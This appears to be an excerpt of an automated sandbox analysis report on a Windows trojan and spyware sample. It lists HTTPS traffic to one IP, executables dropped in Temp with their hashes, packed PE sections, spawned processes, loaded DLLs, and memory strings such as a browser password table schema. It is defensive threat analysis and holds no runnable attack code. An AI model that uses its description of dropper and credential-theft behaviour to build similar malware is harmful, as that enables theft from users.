Source: u1z7S3hr06.exe, 00000000.00000003.1808651483.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49742 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: u1z7S3hr06.exe	Static PE information: section name:
Source: u1z7S3hr06.exe	Static PE information: section name: .idata
Source: u1z7S3hr06.exe	Static PE information: section name:
Source: QG5URI6Q0ZNU9FS6XT6N3IH7I.exe.0.dr	Static PE information: section name:
Source: QG5URI6Q0ZNU9FS6XT6N3IH7I.exe.0.dr	Static PE information: section name: .idata
Source: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe.0.dr	Static PE information: section name:
Source: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe

Code function: 4_2_0006C046

4_2_0006C046

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe 998C8DDDF5FC3D73A386669C03CE5A4D371FB1D09983B1828F3ED49598AF0B57
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe 196A92F8482CC549EFACDEC30DD39D0F662584F78FDD8FC612D28D48860A5123

Source: u1z7S3hr06.exe, 00000000.00000003.1959957988.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1967721271.0000000005F2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1963405115.0000000005E2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1959866546.0000000005E29000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1968430028.0000000005F34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1977897992.0000000005E32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1962938198.0000000005EE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1964307145.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1961507335.0000000005ECA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1964570048.0000000005FC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1961884128.0000000005F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1966213757.0000000005FEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1994784853.0000000000C02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1994305589.0000000005A3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1967339881.0000000005F22000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1995538616.00000000060E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1966699594.0000000005F1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1963040676.0000000005F9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1971757239.0000000005E2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1962386068.0000000005E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1966463481.0000000005F21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1963656686.0000000005E2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1970154659.0000000005E29000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1963283890.0000000005EF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1961790173.0000000005EC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1966340998.0000000005E2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1966835803.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1969480944.0000000005F4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1964015660.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1969699722.0000000005E34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1963140695.0000000005E31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1963870763.0000000005EF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1965956810.0000000005E2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1976374538.00000000060C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1965341496.0000000005F14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1972694377.0000000005F5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1974911751.0000000005F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1963525108.0000000005EE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1966581874.0000000005E2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1964121577.0000000005EE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1967961102.0000000005F31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1976624555.0000000005E30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1971442846.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1975373231.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1969305563.0000000005E2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1960134518.0000000005E2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1970530663.0000000005F4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1961114708.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1965002789.0000000005E34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1965462494.0000000005E35000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1967470112.0000000006024000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1962176776.0000000005E2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1969936524.0000000005F55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1965581042.0000000005F0B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1965701123.0000000005E2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1961610608.0000000005F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1964679881.0000000005E33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1968654268.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1962585108.0000000005E29000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1961013100.0000000005E33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1976867391.0000000005F78000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1968782255.0000000005F3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1972964013.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1965223603.0000000005E34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1962277148.0000000005EDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1961210302.0000000005E35000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1962079197.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1994534471.00000000059AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1964893709.0000000005FD5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1968304594.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1964787004.0000000005EF7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1971293280.0000000005F58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1971174671.0000000005E32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1964463682.0000000005EF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1966078497.0000000005F07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1967841770.0000000005E30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1972333179.0000000005E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1973603836.000000000609C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1970730870.0000000005E2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1965824184.0000000005F09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1971906379.0000000005F60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1961982734.0000000005E30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1971607913.0000000005F5C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1968181699.0000000005F2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1969164695.000000000604F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1968909857.0000000005E29000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1967045545.0000000005F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1967213529.0000000005E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1961303720.0000000005ED1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1960334970.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1969034870.0000000005F3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1994822023.000000000598A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1961696022.0000000005E2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1968081327.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1962487000.0000000005EE2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1965111770.0000000005F14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1959774607.0000000005A90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1968531004.000000000603E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1976004017.0000000005F75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1970879407.0000000005F4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1973241647.0000000005F59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1971024423.0000000006073000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1974580967.0000000005E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1967597641.0000000005E33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1961398679.0000000005E2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1959684625.0000000005C26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs u1z7S3hr06.exe

Source: u1z7S3hr06.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: u1z7S3hr06.exe	Static PE information: Section: ZLIB complexity 0.9973512414383562
Source: u1z7S3hr06.exe	Static PE information: Section: dpwxnord ZLIB complexity 0.9945686192077728

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@3/3

Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\u1z7S3hr06.exe

File created: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe

Jump to behavior

Source: C:\Users\user\Desktop\u1z7S3hr06.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: u1z7S3hr06.exe, 00000000.00000003.1752217996.00000000059BA000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1752686450.0000000005985000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: u1z7S3hr06.exe

ReversingLabs: Detection: 63%

Source: QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\u1z7S3hr06.exe

File read: C:\Users\user\Desktop\u1z7S3hr06.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\u1z7S3hr06.exe "C:\Users\user\Desktop\u1z7S3hr06.exe"
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Process created: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe "C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe"
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Process created: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe "C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe"
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Process created: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe "C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe"	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Process created: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe "C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe"	Jump to behavior

Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: gpapi.dll	Jump to behavior
